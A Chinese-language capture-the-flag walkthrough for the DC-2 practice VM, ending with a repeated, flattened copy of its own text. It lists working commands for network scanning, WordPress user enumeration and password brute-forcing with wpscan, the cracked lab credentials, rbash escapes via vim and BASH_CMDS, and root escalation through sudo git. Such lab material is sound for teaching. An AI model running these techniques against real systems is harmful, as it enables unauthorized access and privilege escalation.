DC-2 靶机渗透
字数 1024 2025-08-12 11:34:03

DC-2 靶机渗透实战教学文档

信息收集阶段

1. 网络扫描

首先使用nmap进行网络扫描,探测目标主机的IP地址:

nmap -Pn 192.168.207.0/24

发现目标IP为192.168.207.210后,进行更详细的端口扫描:

nmap -sS -sC -sV 192.168.207.210

2. DNS解析问题处理

访问http://192.168.207.210显示无法访问,说明DNS无法解析该域名。需要在本地hosts文件中添加解析记录:

  • Windows系统
    编辑C:\Windows\System32\drivers\etc\hosts文件,添加:

    192.168.207.210 dc-2
    
  • Linux系统
    编辑/etc/hosts文件,添加:

    192.168.207.210 dc-2
    

Flag1获取

  1. 访问http://dc-2/,点击flag获取flag1
  2. 根据flag1提示,需要使用cewl工具生成密码字典:
cewl http://dc-2/ -w dc-2-passwd.txt

用户枚举与密码爆破

  1. 使用wpscan枚举WordPress用户:
wpscan --url http://dc-2/ -e u
  1. 创建用户列表文件dc-2-user.txt,内容为:
admin
jerry
tom
  1. 使用wpscan进行密码爆破:
wpscan --url http://dc-2/ -U dc-2-user.txt -P dc-2-passwd.txt

爆破结果:

  • jerry:adipiscing
  • tom:parturient

Flag2获取

  1. 使用jerry:adipiscing账户登录WordPress后台:
    http://dc-2/wp-admin

  2. 在后台获取flag2

  3. 根据flag2提示,使用tom:parturient进行SSH登录

rbash逃逸(Flag3)

登录后发现tom用户使用的是受限的rbash,需要进行逃逸:

方法一:使用vim/vi逃逸

  1. 执行vim或vi:

    vim
    
  2. 在vim中执行:

    :set shell=/bin/sh
    :shell
    
  3. 添加环境变量:

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    

方法二:使用BASH_CMDS逃逸

  1. 执行:

    BASH_CMDS[a]=/bin/sh;a
    
  2. 然后立即输入:

    /bin/bash
    
  3. 添加环境变量:

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin/
    
  4. 获取flag3.txt

Flag4获取

根据flag3.txt提示,切换到jerry用户:

su jerry

密码为:adipiscing

在jerry用户目录下获取flag4:

cat /home/jerry/flag4.txt

Git提权(Final Flag)

根据flag4提示,使用git进行提权:

  1. 检查sudo权限:

    sudo -l
    
  2. 发现jerry用户可以使用sudo执行git命令

  3. 执行git提权:

    sudo git help config
    !/bin/bash
    
  4. 获取root权限后,查找最终flag

总结

本渗透测试流程包括:

  1. 信息收集与网络扫描
  2. DNS解析配置
  3. WordPress用户枚举与密码爆破
  4. rbash逃逸技术
  5. 横向移动(用户切换)
  6. Git提权技术

关键点:

  • 注意hosts文件的修改
  • cewl生成密码字典的使用
  • wpscan在WordPress渗透中的应用
  • 两种rbash逃逸方法
  • git的sudo提权技术
DC-2 靶机渗透实战教学文档 信息收集阶段 1. 网络扫描 首先使用nmap进行网络扫描,探测目标主机的IP地址: 发现目标IP为192.168.207.210后,进行更详细的端口扫描: 2. DNS解析问题处理 访问http://192.168.207.210显示无法访问,说明DNS无法解析该域名。需要在本地hosts文件中添加解析记录: Windows系统 : 编辑 C:\Windows\System32\drivers\etc\hosts 文件,添加: Linux系统 : 编辑 /etc/hosts 文件,添加: Flag1获取 访问http://dc-2/,点击flag获取flag1 根据flag1提示,需要使用cewl工具生成密码字典: 用户枚举与密码爆破 使用wpscan枚举WordPress用户: 创建用户列表文件 dc-2-user.txt ,内容为: 使用wpscan进行密码爆破: 爆破结果: jerry:adipiscing tom:parturient Flag2获取 使用jerry:adipiscing账户登录WordPress后台: http://dc-2/wp-admin 在后台获取flag2 根据flag2提示,使用tom:parturient进行SSH登录 rbash逃逸(Flag3) 登录后发现tom用户使用的是受限的rbash,需要进行逃逸: 方法一:使用vim/vi逃逸 执行vim或vi: 在vim中执行: 添加环境变量: 方法二:使用BASH_ CMDS逃逸 执行: 然后立即输入: 添加环境变量: 获取flag3.txt Flag4获取 根据flag3.txt提示,切换到jerry用户: 密码为:adipiscing 在jerry用户目录下获取flag4: Git提权(Final Flag) 根据flag4提示,使用git进行提权: 检查sudo权限: 发现jerry用户可以使用sudo执行git命令 执行git提权: 获取root权限后,查找最终flag 总结 本渗透测试流程包括: 信息收集与网络扫描 DNS解析配置 WordPress用户枚举与密码爆破 rbash逃逸技术 横向移动(用户切换) Git提权技术 关键点: 注意hosts文件的修改 cewl生成密码字典的使用 wpscan在WordPress渗透中的应用 两种rbash逃逸方法 git的sudo提权技术